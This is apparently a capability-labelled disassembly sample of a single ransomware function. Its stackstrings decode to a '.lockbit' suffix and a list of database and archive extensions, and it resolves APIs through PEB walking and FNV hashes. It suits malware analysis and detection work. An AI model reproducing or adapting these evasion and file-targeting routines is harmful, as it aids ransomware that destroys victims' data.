Function at 0x4a2d60
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4fc
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
mov dword [ebp - 0x1f0], 0x6c002e
push ebx
setne al
mov dword [ebp - 0x1ec], 0x63006f
mov ebx, ecx
mov dword [ebp - 0x1e8], 0x62006b
mov ecx, 0x200
mov dword [ebp - 0x3c], ebx
test edx, edx
mov dword [ebp - 0x30], ecx
lea eax, [eax*8 + 0x40]
mov dword [ebp - 0x1e4], 0x740069
mov dword [ebp - 0xc], eax
mov eax, edx
cmove eax, ecx
mov ecx, 0x6050
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov word [ebp - 0x1e0], ax
call fcn.004bca70
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x4a4cac
xor ecx, ecx
mov eax, ebx
test ebx, ebx
je 0x4a2dfa
cmp word [ebx], cx
je 0x4a2dfa
nop dword [eax]
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x4a2df0
lea ebx, [ecx + ecx]
lea ecx, [ebx + 0x14]
call fcn.004bca70
mov edi, eax
test edi, edi
je 0x4a4ca5
push ebx
push dword [ebp - 0x3c]
push edi
call fcn.0040d7a0
add esp, 0xc
lea eax, [ebp - 0x1f0]
push 0x12
push eax
lea eax, [ebx + edi]
push eax
call fcn.0040d7a0
add esp, 0xc
lea eax, [esi + 0x34]
push 0
push 0
push eax
push edi
call fcn.00414950
call eax
mov ecx, edi
mov bl, al
call fcn.004bced0
test bl, bl
je 0x4a4ca5
mov ebx, esi
mov ecx, 0xfff0
add word [ebx + 0x34], cx
lea eax, [ebx + 0x34]
xor esi, esi
mov dword [ebx + 0x48], 1
mov dword [ebp - 0x2b8], 0x18
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2ac], 0x40
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0
lea ecx, [ebx + 0x30]
mov dword [ebp - 0x18], esi
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movlpd qword [ebp - 0x268], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, dword [0x4fbc78]
mov dword [ebp - 0x28], edx
test eax, eax
jne 0x4a2f72
test edx, edx
je 0x4a2f68
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0x284], eax
lea eax, [ecx + edx]
mov dword [ebp - 0x2c], eax
cmp eax, edx
je 0x4a2f65
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x4a2f65
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 0x14], eax
nop dword [eax + eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + edx]
add esi, edx
inc esi
test al, al
je 0x4a2f50
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4a2f21
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 8]
cmp edi, 0x6f2df779
je 0x4a2fcf
mov esi, dword [ebp - 0x2c]
inc ecx
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], eax
cmp ecx, dword [esi + 0x18]
jne 0x4a2f10
lea ecx, [ebx + 0x30]
xor eax, eax
mov esi, dword [ebp - 0x18]
mov dword [0x4fbc78], eax
push 0
push 0
push dword [ebp - 0xc]
lea edx, [ebp - 0x268]
push 1
push 0
push 0x80
push 0
push edx
lea edx, [ebp - 0x2b8]
push edx
push 0x10003
push ecx
call eax
test eax, eax
jns 0x4a3070
cmp eax, 0xc0000022
jne 0x4a2fef
mov edi, dword [ebp - 0x3c]
mov ecx, edi
call fcn.00459760
cmp eax, 1
je 0x4a2fc4
mov ecx, edi
call fcn.004be9f0
cmp eax, 1
jne 0x4a2fef
cmp esi, 2
jge 0x4a2fef
inc esi
jmp 0x4a2ea1
mov esi, dword [ebp - 0x2c]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebx + 0x30]
add eax, edx
jmp 0x4a2f6a
mov dword [ebx + 0x30], 0
lea edx, [ebx + 0x48]
or eax, 0xffffffff
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a3044
lea esi, [ebx + 0x78]
nop
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a3020
test eax, eax
je 0x4a3044
lock inc dword [0x4fbcb0]
lock dec dword [0x4fbc70]
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4a3053
push eax
call fcn.00411330
call eax
lea eax, [ebx + 0x34]
push eax
call fcn.004131c0
call eax
mov ecx, ebx
call fcn.004bced0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
add word [ebx + 0x34], 0x10
lea esi, [ebx + 0x34]
mov eax, dword [0x4e5520]
push 0x1e
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x260]
push 8
push eax
lea eax, [ebp - 0x268]
mov dword [ebp - 0x25c], ebx
push eax
push dword [ebx + 0x30]
call fcn.00414b30
call eax
test eax, eax
jns 0x4a3122
or eax, 0xffffffff
lea edx, [ebx + 0x48]
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a30f9
lea esi, [ebx + 0x78]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a30d2
lea esi, [ebx + 0x34]
test eax, eax
je 0x4a30f9
lock inc dword [0x4fbcb0]
lock dec dword [0x4fbc70]
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x4a3108
push eax
call fcn.00411330
call eax
push esi
call fcn.004131c0
call eax
mov ecx, ebx
call fcn.004bced0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x18
lea eax, [ebp - 0x2e8]
push 0
push eax
call fcn.0040d020
add esp, 0xc
lea eax, [ebp - 0x2e8]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c0], xmm0
push 5
push 0x18
push eax
lea eax, [ebp - 0x2c0]
push eax
push dword [ebx + 0x30]
call fcn.00412fe0
call eax
test eax, eax
jns 0x4a31a7
or eax, 0xffffffff
lea edx, [ebx + 0x48]
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a30f9
lea esi, [ebx + 0x78]
nop dword [eax]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a3190
jmp 0x4a30e4
mov eax, dword [ebp - 0x2e0]
xor edx, edx
mov esi, dword [ebp - 4]
xorps xmm0, xmm0
mov dword [ebx + 0x20], eax
mov edi, esi
mov eax, dword [ebp - 0x2dc]
sub edi, 1
mov dword [ebx + 0x24], eax
mov ecx, esi
lea eax, [esi*8]
mov dword [ebx + 0x28], esi
mov dword [ebx + 0x3c], eax
not edi
mov eax, edx
mov dword [ebp - 0x34], edi
sbb eax, edx
movlpd qword [ebp - 0x288], xmm0
add ecx, dword [ebx + 0x20]
not eax
mov dword [ebp - 0x2c], eax
mov eax, edx
adc eax, dword [ebx + 0x24]
sub ecx, 1
push 0x14
sbb eax, edx
and ecx, edi
and eax, dword [ebp - 0x2c]
add esi, 0xdf
mov dword [ebx + 0x44], eax
adc edx, edx
mov dword [ebx + 0x40], ecx
and edx, dword [ebp - 0x2c]
and esi, edi
add esi, ecx
push 8
adc edx, eax
mov dword [ebp - 0x270], esi
lea eax, [ebp - 0x270]
mov dword [ebp - 0x26c], edx
push eax
lea eax, [ebp - 0x288]
push eax
push dword [ebx + 0x30]
call fcn.00414b30
call eax
test eax, eax
jns 0x4a3287
or eax, 0xffffffff
lea edx, [ebx + 0x48]
lock xadd dword [edx], eax
jne 0x4a4cac
push 0x20
push 0
push ebx
call fcn.0040d020
mov eax, dword [ebx + 0x2c]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4a3044
lea esi, [ebx + 0x78]
nop dword [eax]
mov ecx, dword [esi]
call fcn.004bced0
mov eax, dword [ebx + 0x2c]
lea esi, [esi + 0x30]
inc edi
cmp edi, eax
jb 0x4a3270
jmp 0x4a3032
cmp dword [ebx + 0x24], 0
mov edi, dword [ebx + 0x40]
mov eax, dword [ebx + 0x3c]
mov dword [ebp - 0x28], edi
mov edi, dword [ebx + 0x44]
mov dword [ebx + 0x2c], 1
mov dword [ebp - 0x14], edi
jg 0x4a32b2
jl 0x4a32aa
cmp dword [ebx + 0x20], eax
ja 0x4a32b2
mov dword [ebx + 0x3c], esi
jmp 0x4a4071
mov edx, dword [0x4f377c]
mov dword [ebp - 8], edx
test edx, edx
jne 0x4a335a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop dword [eax + eax]
mov esi, dword [ecx + 0x30]
xor edi, edi
movzx ecx, word [ecx + 0x2c]
shr ecx, 1
mov dword [ebp - 0x18], 0x811c9dc5
lea eax, [esi + ecx*2]
cmp esi, eax
cmova ecx, edi
mov dword [ebp - 0xc], ecx
test ecx, ecx
je 0x4a333b
mov ebx, ecx
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x18]
imul eax, eax, 0x1000193
mov dword [ebp - 0x18], eax
cmp edi, ebx
jne 0x4a3303
mov ebx, dword [ebp - 0x24]
cmp eax, 0x8ec4c73b
je 0x4a33f9
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x4a334f
cmp dword [ecx + 0x18], 0
jne 0x4a32e0
xor edx, edx
mov dword [ebp - 8], edx
mov dword [0x4f377c], edx
mov eax, dword [0x4fbb80]
test eax, eax
jne 0x4a3428
test edx, edx
je 0x4a3421
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0x1c], eax
lea eax, [ecx + edx]
mov dword [ebp - 0xc], eax
cmp eax, edx
je 0x4a3421
xor ecx, ecx
mov dword [ebp - 0x18], ecx
cmp dword [eax + 0x18], ecx
je 0x4a3421
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 4], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, edx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4a33e2
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4a33b1
mov ecx, dword [ebp - 0x18]
cmp edi, 0xa906d6b
je 0x4a3404
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], eax
cmp ecx, dword [edx + 0x18]
je 0x4a3421
mov edx, dword [ebp - 8]
jmp 0x4a33a1
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x18]
jmp 0x4a3351
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x4a3423
xor eax, eax
mov dword [0x4fbb80], eax
push dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4a4071
mov edx, dword [0x4f37a8]
mov dword [ebp - 8], edx
test edx, edx
jne 0x4a34dc
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 4], eax
mov edx, eax
mov dword [ebp - 0x18], ecx
mov esi, dword [ecx + 0x30]
xor edi, edi
movzx ecx, word [ecx + 0x2c]
shr ecx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ecx*2]
cmp esi, eax
cmova ecx, edi
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x4a34bd
mov ebx, ecx
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4a3485
mov ebx, dword [ebp - 0x24]
cmp eax, 0xc0323159
je 0x4a357b
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 0x18], ecx
cmp eax, edx
je 0x4a34d1
cmp dword [ecx + 0x18], 0
jne 0x4a3462
xor edx, edx
mov dword [ebp - 8], edx
mov dword [0x4f37a8], edx
mov eax, dword [0x4fbb74]
test eax, eax
jne 0x4a35aa
test edx, edx
je 0x4a35a3
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0xc], eax
lea eax, [ecx + edx]
mov dword [ebp - 4], eax
cmp eax, edx
je 0x4a35a3
xor ecx, ecx
mov dword [ebp - 0x24], ecx
cmp dword [eax + 0x18], ecx
je 0x4a35a3
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, edx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4a3564
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4a3533
mov ecx, dword [ebp - 0x24]
cmp edi, 0xcd5cea4f
je 0x4a3586
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
inc ecx
add eax, 4
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
je 0x4a35a3
mov edx, dword [ebp - 8]
jmp 0x4a3523
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x18]
jmp 0x4a34d3
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x4a35a5
xor eax, eax
mov dword [0x4fbb74], eax
push dword [ebp - 0x1c]
call eax
mov ecx, eax
test ecx, ecx
je 0x4a4071
xor edx, edx
cmp word [ecx], dx
je 0x4a4071
lea eax, [eax + 2]
inc edx
cmp word [eax], 0
jne 0x4a35c4
test edx, edx
je 0x4a4071
xor eax, eax
mov dword [ebp - 0xd8], 0x72002e
mov dword [ebp - 0xd4], 0x720061
mov word [ebp - 0xd0], ax
mov dword [ebp - 0xe4], 0x7a002e
mov dword [ebp - 0xe0], 0x700069
mov word [ebp - 0xdc], ax
mov dword [ebp - 0xf0], 0x63002e
mov dword [ebp - 0xec], 0x70006b
mov word [ebp - 0xe8], ax
mov dword [ebp - 0xfc], 0x64002e
mov dword [ebp - 0xf8], 0x330062
mov word [ebp - 0xf4], ax
mov dword [ebp - 0x108], 0x64002e
mov dword [ebp - 0x104], 0x660062
mov word [ebp - 0x100], ax
mov dword [ebp - 0x114], 0x64002e
mov dword [ebp - 0x110], 0x630062
mov word [ebp - 0x10c], ax
mov dword [ebp - 0x120], 0x64002e
mov dword [ebp - 0x11c], 0x730062
mov word [ebp - 0x118], ax
mov dword [ebp - 0x12c], 0x64002e
mov dword [ebp - 0x128], 0x740062
mov word [ebp - 0x124], ax
mov dword [ebp - 0x138], 0x64002e
mov dword [ebp - 0x134], 0x760062
mov word [ebp - 0x130], ax
mov dword [ebp - 0x144], 0x66002e
mov dword [ebp - 0x140], 0x6d0072
mov word [ebp - 0x13c], ax
mov dword [ebp - 0x150], 0x6d002e
mov dword [ebp - 0x14c], 0x660064
mov word [ebp - 0x148], ax
mov dword [ebp - 0x15c], 0x6d002e
mov dword [ebp - 0x158], 0x670072
mov word [ebp - 0x154], ax
mov dword [ebp - 0x48], 0x6d002e
mov dword [ebp - 0x44], 0x620077
mov word [ebp - 0x40], ax
mov dword [ebp - 0x54], 0x6d002e
mov dword [ebp - 0x50], 0x640079
mov word [ebp - 0x4c], ax
mov dword [ebp - 0x60], 0x6e002e
mov dword [ebp - 0x5c], 0x660064
mov word [ebp - 0x58], ax
mov dword [ebp - 0x6c], 0x71002e
mov dword [ebp - 0x68], 0x790072
mov word [ebp - 0x64], ax
mov dword [ebp - 0x78], 0x73002e
mov dword [ebp - 0x74], 0x620064
mov word [ebp - 0x70], ax
mov dword [ebp - 0x84], 0x73002e
mov dword [ebp - 0x80], 0x660064
mov word [ebp - 0x7c], ax
mov dword [ebp - 0x90], 0x73002e
mov dword [ebp - 0x8c], 0x6c0071
mov word [ebp - 0x88], ax
mov dword [ebp - 0x9c], 0x74002e
mov dword [ebp - 0x98], 0x64006d
mov word [ebp - 0x94], ax
mov dword [ebp - 0xa8], 0x77002e
mov dword [ebp - 0xa4], 0x620064
mov word [ebp - 0xa0], ax
mov dword [ebp - 0xb4], 0x62002e
mov dword [ebp - 0xb0], 0x32007a
mov word [ebp - 0xac], ax
mov dword [ebp - 0xc0], 0x74002e
mov dword [ebp - 0xbc], 0x7a0067
mov word [ebp - 0xb8], ax
mov dword [ebp - 0xcc], 0x6c002e
mov dword [ebp - 0xc8], 0x6f007a
mov word [ebp - 0xc4], ax
mov dword [ebp - 0x164], 0x64002e
mov dword [ebp - 0x160], 0x62
mov dword [ebp - 0x16c], 0x37002e
mov dword [ebp - 0x168], 0x7a
mov dword [ebp - 0x1ac], 0x73002e
mov dword [ebp - 0x1a8], 0x6c0071
mov dword [ebp - 0x1a4], 0x740069
mov dword [ebp - 0x1a0], 0x65
mov dword [ebp - 0x19c], 0x61002e
mov dword [ebp - 0x198], 0x630063
mov dword [ebp - 0x194], 0x620064
mov word [ebp - 0x190], ax
mov dword [ebp - 0x204], 0x73002e
mov dword [ebp - 0x200], 0x6c0071
mov dword [ebp - 0x1fc], 0x740069
mov dword [ebp - 0x1f8], 0x330065
mov word [ebp - 0x1f4], ax
mov dword [ebp - 0x22c], 0x73002e
mov dword [ebp - 0x228], 0x6c0071
mov dword [ebp - 0x224], 0x740069
mov dword [ebp - 0x220], 0x640065
mov dword [ebp - 0x21c], 0x62
mov dword [ebp - 0x1bc], 0x64002e
mov dword [ebp - 0x1b8], 0x2d0062
mov dword [ebp - 0x1b4], 0x680073
mov dword [ebp - 0x1b0], 0x6d
mov dword [ebp - 0x1cc], 0x64002e
mov dword [ebp - 0x1c8], 0x2d0062
mov dword [ebp - 0x1c4], 0x610077
mov dword [ebp - 0x1c0], 0x6c
mov dword [ebp - 0x1dc], 0x64002e
mov dword [ebp - 0x1d8], 0x630061
mov dword [ebp - 0x1d4], 0x610070
mov dword [ebp - 0x1d0], 0x63
mov dword [ebp - 0x180], 0x7a002e
mov dword [ebp - 0x17c], 0x700069
mov dword [ebp - 0x178], 0x78
mov dword [ebp - 0x18c], 0x6c002e
mov dword [ebp - 0x188], 0x6d007a
mov dword [ebp - 0x184], 0x61
cmp edx, 4
jne 0x4a3d8a
lea edx, [ebp - 0xd8]
mov edi, ecx
lea esi, [eax + 5]
mov eax, edx
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a39e6
add edx, 2
sub esi, 1
jne 0x4a39d0
jmp 0x4a3f95
lea edx, [ebp - 0xe4]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3a0d
add edx, 2
sub esi, 1
jne 0x4a39f7
jmp 0x4a3f95
lea edx, [ebp - 0xf0]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3a36
add edx, 2
sub esi, 1
jne 0x4a3a20
jmp 0x4a3f95
lea edx, [ebp - 0xfc]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3a5d
add edx, 2
sub esi, 1
jne 0x4a3a47
jmp 0x4a3f95
lea edx, [ebp - 0x108]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3a86
add edx, 2
sub esi, 1
jne 0x4a3a70
jmp 0x4a3f95
lea edx, [ebp - 0x114]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3aad
add edx, 2
sub esi, 1
jne 0x4a3a97
jmp 0x4a3f95
lea edx, [ebp - 0x120]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3ad6
add edx, 2
sub esi, 1
jne 0x4a3ac0
jmp 0x4a3f95
lea edx, [ebp - 0x12c]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3afd
add edx, 2
sub esi, 1
jne 0x4a3ae7
jmp 0x4a3f95
lea edx, [ebp - 0x138]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3b26
add edx, 2
sub esi, 1
jne 0x4a3b10
jmp 0x4a3f95
lea edx, [ebp - 0x144]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3b4d
add edx, 2
sub esi, 1
jne 0x4a3b37
jmp 0x4a3f95
lea edx, [ebp - 0x150]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3b76
add edx, 2
sub esi, 1
jne 0x4a3b60
jmp 0x4a3f95
lea edx, [ebp - 0x15c]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x4a3b9d
add edx, 2
sub esi, 1
jne 0x4a3b87
jmp 0x4a3f95
lea edx, [ebp - 0x48]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop dword [eax + eax]
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3bc6
add edx, 2
sub esi, 1
jne 0x4a3bb0
jmp 0x4a3f95
lea edx, [ebp - 0x54]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3bea
add edx, 2
sub esi, 1
jne 0x4a3bd4
jmp 0x4a3f95
lea edx, [ebp - 0x60]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop dword [eax + eax]
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3c16
add edx, 2
sub esi, 1
jne 0x4a3c00
jmp 0x4a3f95
lea edx, [ebp - 0x6c]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3c3a
add edx, 2
sub esi, 1
jne 0x4a3c24
jmp 0x4a3f95
lea edx, [ebp - 0x78]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop dword [eax + eax]
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3c66
add edx, 2
sub esi, 1
jne 0x4a3c50
jmp 0x4a3f95
lea edx, [ebp - 0x84]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3c8d
add edx, 2
sub esi, 1
jne 0x4a3c77
jmp 0x4a3f95
lea edx, [ebp - 0x90]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3cb6
add edx, 2
sub esi, 1
jne 0x4a3ca0
jmp 0x4a3f95
lea edx, [ebp - 0x9c]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3cdd
add edx, 2
sub esi, 1
jne 0x4a3cc7
jmp 0x4a3f95
lea edx, [ebp - 0xa8]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3d06
add edx, 2
sub esi, 1
jne 0x4a3cf0
jmp 0x4a3f95
lea edx, [ebp - 0xb4]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3d2d
add edx, 2
sub esi, 1
jne 0x4a3d17
jmp 0x4a3f95
lea edx, [ebp - 0xc0]
mov edi, ecx
mov eax, edx
mov esi, 5
sub edi, eax
nop
mov ax, word [edx + edi]
cmp ax, word [edx]
jne 0x4a3d56
add edx, 2
sub esi, 1
jne 0x4a3d40
jmp 0x4a3f95
lea edx, [ebp - 0xcc]
mov esi, 5
mov eax, edx
sub ecx, eax
nop word [eax + eax]
mov ax, word [edx + ecx]
cmp ax, word [edx]
jne 0x4a4071
add edx, 2
sub esi, 1
jne 0x4a3d70
jmp 0x4a3f95
cmp edx, 3
jne 0x4a3de9
lea eax, [ebp - 0x164]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3dbb
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3da2
jmp 0x4a3f95
cmp edx, 3
jne 0x4a3de9
lea eax, [ebp - 0x16c]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3de9
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3dd0
jmp 0x4a3f95
cmp edx, 7
jne 0x4a3e19
lea eax, [ebp - 0x1ac]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3e19
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3e00
jmp 0x4a3f95
cmp edx, 6
jne 0x4a3e49
lea eax, [ebp - 0x19c]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3e49
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3e30
jmp 0x4a3f95
cmp edx, 8
jne 0x4a3e79
lea eax, [ebp - 0x204]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3e79
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3e60
jmp 0x4a3f95
cmp edx, 9
jne 0x4a3ea9
lea eax, [ebp - 0x22c]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
nop dword [eax]
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3ea9
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3e90
jmp 0x4a3f95
cmp edx, 7
jne 0x4a3f39
lea eax, [ebp - 0x1bc]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3eda
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3ec1
jmp 0x4a3f95
cmp edx, 7
jne 0x4a3f39
lea eax, [ebp - 0x1cc]
mov edi, edx
sub eax, ecx
mov esi, ecx
mov dword [ebp - 0x1c], eax
mov ax, word [esi + eax]
cmp ax, word [esi]
jne 0x4a3f0b
mov eax, dword [ebp - 0x1c]
add esi, 2
sub edi, 1
jne 0x4a3ef2
jmp 0x4a3f95
